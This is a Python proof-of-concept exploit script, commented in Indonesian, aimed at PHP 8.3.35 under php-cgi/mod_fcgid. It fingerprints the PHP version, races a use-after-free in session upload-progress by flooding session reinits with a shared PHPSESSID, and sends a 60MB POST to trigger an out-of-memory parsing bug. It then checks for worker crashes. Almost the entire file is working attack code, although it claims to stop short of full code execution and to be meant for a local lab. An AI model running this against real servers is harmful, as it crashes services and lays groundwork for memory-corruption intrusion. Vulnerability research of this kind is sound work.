#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC — php2shell (CVE-2026-109618 / CVE-2026-109619)
Target: PHP 8.3.35 (rentan; patch 8.3.36) via php-cgi/mod_fcgid — lab lokal.

CVE-2026-109619: use-after-free state sesi upload-progress. Handler rfc1867
menyimpan pointer mentah ke HashTable sesi; request lain dengan PHPSESSID sama
yang memanggil session_start() me-reinit/membebaskan HashTable itu; burst data
file berikutnya ditulis lewat pointer yang menggantung (UAF write).

CVE-2026-109618: saat PHP kehabisan memori (memory_limit) di tengah parsing
request, cleanup memperlakukan data request yang setengah jadi sebagai valid.
Dipicu dengan body POST raksasa melebihi memory_limit.

Catatan jujur: PoC ini mendemonstrasikan PEMICUAN primitive (crash worker /
error 500-503 sebagai bukti korupsi memori). RCE penuh butuh heap grooming
spesifik build — di luar cakupan lab edukasi ini. Hanya untuk lab milik sendiri.
"""
import http.client
import re
import socket
import sys
import threading
import time
import uuid

HOST = "cve-2026-109619.test"
PORT = 80
BASE = f"http://{HOST}"
STALL = 0.6          # jeda antar-burst untuk menang jendela race
ATTEMPTS_619 = 12    # percobaan race 619 (probabilistik, perlu worker sama)
CHUNK1 = 8192        # byte burst-1 (prime pointer)

# versi patch per rilis darurat 2026-10-21
PATCHED = {"8.5": (8, 5, 12), "8.4": (8, 4, 27), "8.3": (8, 3, 36), "8.2": (8, 2, 35)}


def log(sym, msg):
    print(f"{sym} {msg}", flush=True)


def fingerprint():
    log("[*]", "Fingerprint target...")
    conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
    conn.request("GET", "/index.php")
    r = conn.getresponse()
    body = r.read().decode("utf-8", "replace")
    hdr = dict(r.getheaders())
    conn.close()
    log("[*]", f"Status: {r.status} | Server: {hdr.get('Server', '?')}")
    log("[*]", f"X-Powered-By: {hdr.get('X-Powered-By', '(tidak ada)')}")
    m = re.search(r"PHP (\d+\.\d+\.\d+)", body + hdr.get("X-Powered-By", ""))
    if not m:
        log("[-]", "Versi PHP tidak terbaca dari banner/body.")
        return None
    ver = tuple(int(x) for x in m.group(1).split("."))
    branch = f"{ver[0]}.{ver[1]}"
    log("[+]", f"Versi PHP terdeteksi: {m.group(1)} (SAPI terlihat cgi-fcgi/mod_fcgid)")
    if branch in PATCHED and ver >= PATCHED[branch]:
        log("[!]", f"PHP {m.group(1)} SUDAH DI-PATCH (>= {'.'.join(map(str, PATCHED[branch]))}). "
                   "Lab ini seharusnya kebal — lanjut hanya untuk verifikasi negatif.")
        return ver
    if branch in PATCHED:
        log("[+]", f"PHP {m.group(1)} RENTAN (< {'.'.join(map(str, PATCHED[branch]))}).")
    else:
        log("[+]", f"PHP {m.group(1)} pada branch {branch} — EOL/backport-source-only, tidak ada rilis "
                   "biner patch; dianggap RENTAN.")
    return ver


def build_body(sid, filler, total_file):
    """Body multipart dua-burst: field progress + file; burst-1 = CHUNK1 byte."""
    b = "----php2shellpoc"
    head = (
        f"--{b}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        f"{filler}\r\n"
        f"--{b}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="x.bin"\r\n'
        f"Content-Type: application/octet-stream\r\n\r\n"
    ).encode()
    chunk1 = b"A" * CHUNK1
    rest_len = total_file - CHUNK1
    tail = f"\r\n--{b}--\r\n".encode()
    return head, chunk1, rest_len, tail


def reinit_flood(sid, stop, hits):
    """Banjiri endpoint session.php dengan PHPSESSID sama (reinit HashTable)."""
    while not stop.is_set():
        try:
            c = http.client.HTTPConnection(HOST, PORT, timeout=5)
            c.request("GET", "/session.php", headers={"Cookie": f"PHPSESSID={sid}"})
            r = c.getresponse()
            if r.status == 200:
                hits.append(1)
            r.read()
            c.close()
        except Exception:
            pass


def attempt_619(attempt_no):
    sid = uuid.uuid4().hex[:26]
    filler = "P" * 64
    total_file = 1 << 20  # file 1 MB agar ada banyak event FILE_DATA setelah stall
    head, chunk1, rest_len, tail = build_body(sid, filler, total_file)
    content_len = len(head) + len(chunk1) + rest_len + len(tail)

    stop = threading.Event()
    hits = []
    t = threading.Thread(target=reinit_flood, args=(sid, stop, hits), daemon=True)

    crashed = None
    try:
        conn = http.client.HTTPConnection(HOST, PORT, timeout=30)
        conn.putrequest("POST", "/index.php")
        conn.putheader("Content-Type", "multipart/form-data; boundary=----php2shellpoc")
        conn.putheader("Content-Length", str(content_len))
        conn.putheader("Cookie", f"PHPSESSID={sid}")
        conn.putheader("Connection", "close")
        conn.endheaders()
        conn.send(head)
        conn.send(chunk1)          # burst-1: pointer progress tercache
        t.start()                  # banjir reinit concurrent
        time.sleep(STALL)          # jendela race: HashTable dibebaskan
        # burst-2: tulis sisanya lewat pointer yang mungkin sudah menggantung
        buf = b"B" * 65536
        left = rest_len
        while left > 0:
            n = min(left, len(buf))
            conn.send(buf[:n])
            left -= n
        conn.send(tail)
        resp = conn.getresponse()
        resp.read()
        crashed = resp.status
        conn.close()
    except (socket.error, http.client.HTTPException) as e:
        crashed = f"CONN-ERROR: {type(e).__name__}"
    finally:
        stop.set()
        t.join(timeout=5)

    reinit_ok = len(hits)
    if isinstance(crashed, int) and crashed >= 500:
        log("[+]", f"Percobaan {attempt_no:02d}: status {crashed} setelah {reinit_ok} reinit — "
                   "kemungkinan worker CRASH (UAF terpicu).")
        return True
    if isinstance(crashed, str):
        log("[+]", f"Percobaan {attempt_no:02d}: koneksi putus ({crashed}) setelah {reinit_ok} reinit — "
                   "kemungkinan worker CRASH.")
        return True
    log("[-]", f"Percobaan {attempt_no:02d}: status {crashed}, reinit {reinit_ok}x — belum crash.")
    return False


def attempt_618():
    """OOM: body POST ~256MB (post_max_size lab 512M, memory_limit 128M)."""
    log("[*]", "Kirim body POST raksasa (~60MB urlencoded; pemakaian memori parsing > memory_limit 128M) untuk memicu OOM CVE-2026-109618...")
    # 60MB: cukup memicu OOM saat parsing (terverifikasi), tapi di bawah FcgidMaxRequestLen (~77MB)
    field = "K" * (60 * 1024 * 1024)
    body = ("x=" + field).encode()
    try:
        conn = http.client.HTTPConnection(HOST, PORT, timeout=120)
        conn.putrequest("POST", "/index.php")
        conn.putheader("Content-Type", "application/x-www-form-urlencoded")
        conn.putheader("Content-Length", str(len(body)))
        conn.putheader("Connection", "close")
        conn.endheaders()
        # streaming agar server mulai parse sebelum semua terkirim
        mv = memoryview(body)
        step = 1 << 20
        for i in range(0, len(mv), step):
            conn.send(mv[i:i + step])
        resp = conn.getresponse()
        data = resp.read(4096).decode("utf-8", "replace")
        log("[*]", f"Status: {resp.status} | potongan body: {data[:160]!r}")
        conn.close()
        if "Allowed memory size" in data or "memory exhausted" in data:
            log("[*]", "OOM TERCAPAI — PHP memunculkan fatal 'Allowed memory size' dan menanganinya "
                       "normal (respons utuh). Belum ada bukti cleanup data setengah jadi / crash (618).")
            return False
        if resp.status >= 500 and "Internal Server Error" in data and "PHP" not in data:
            log("[!]", "500 dengan halaman generik Apache — kemungkinan penolakan mod_fcgid "
                       "(FcgidMaxRequestLen), BUKAN bukti crash CVE-2026-109618.")
            return False
        if resp.status >= 500:
            log("[!]", f"Status {resp.status} tanpa pesan fatal PHP — tidak cukup bukti untuk klaim 618.")
            return False
        log("[-]", "Tidak crash dan tidak ada fatal OOM — kondisi 618 tidak tercapai.")
        return False
    except (socket.error, http.client.HTTPException) as e:
        log("[+]", f"Koneksi putus saat/ sesudah OOM ({type(e).__name__}) — tanda worker crash.")
        return True


def alive_check():
    try:
        c = http.client.HTTPConnection(HOST, PORT, timeout=10)
        c.request("GET", "/index.php")
        r = c.getresponse()
        r.read()
        c.close()
        return r.status == 200
    except Exception:
        return False


def main():
    print("=" * 60)
    print("PoC php2shell — CVE-2026-109618 / CVE-2026-109619 (lab lokal)")
    print("=" * 60, flush=True)

    ver = fingerprint()
    if ver is None:
        sys.exit(1)

    if not alive_check():
        log("[!]", "Target tidak menjawab sebelum exploit. Stop.")
        sys.exit(1)

    print()
    log("[*]", f"Tahap 1 — picu CVE-2026-109619 (UAF upload-progress, {ATTEMPTS_619} percobaan, stall {STALL}s)")
    hit619 = False
    for i in range(1, ATTEMPTS_619 + 1):
        if attempt_619(i):
            hit619 = True
            break
        time.sleep(0.3)

    print()
    log("[*]", "Tahap 2 — picu CVE-2026-109618 (OOM saat parsing request)")
    hit618 = attempt_618()

    print()
    log("[*]", "Verifikasi target masih hidup (worker otomatis direstart mod_fcgid)...")
    time.sleep(2)
    if alive_check():
        log("[+]", "Target menjawab 200 OK — layanan normal (mod_fcgid/mod_php menangani worker).")
    else:
        log("[!]", "Target belum menjawab — tunggu beberapa detik lalu cek manual.")

    print()
    print("=" * 60)
    log("[+]", f"Hasil: CVE-2026-109619 terpicu={hit619} | CVE-2026-109618 terpicu={hit618}")
    log("[*]", "Bukti berupa crash worker (500/503/koneksi putus + pemulihan otomatis).")
    log("[*]", "Mitigasi: patch PHP 8.3.36/8.4.27/8.5.12/8.2.35; sementara session.upload_progress.enabled=0 (618), WAF batasi ukuran POST (618).")


if __name__ == "__main__":
    main()
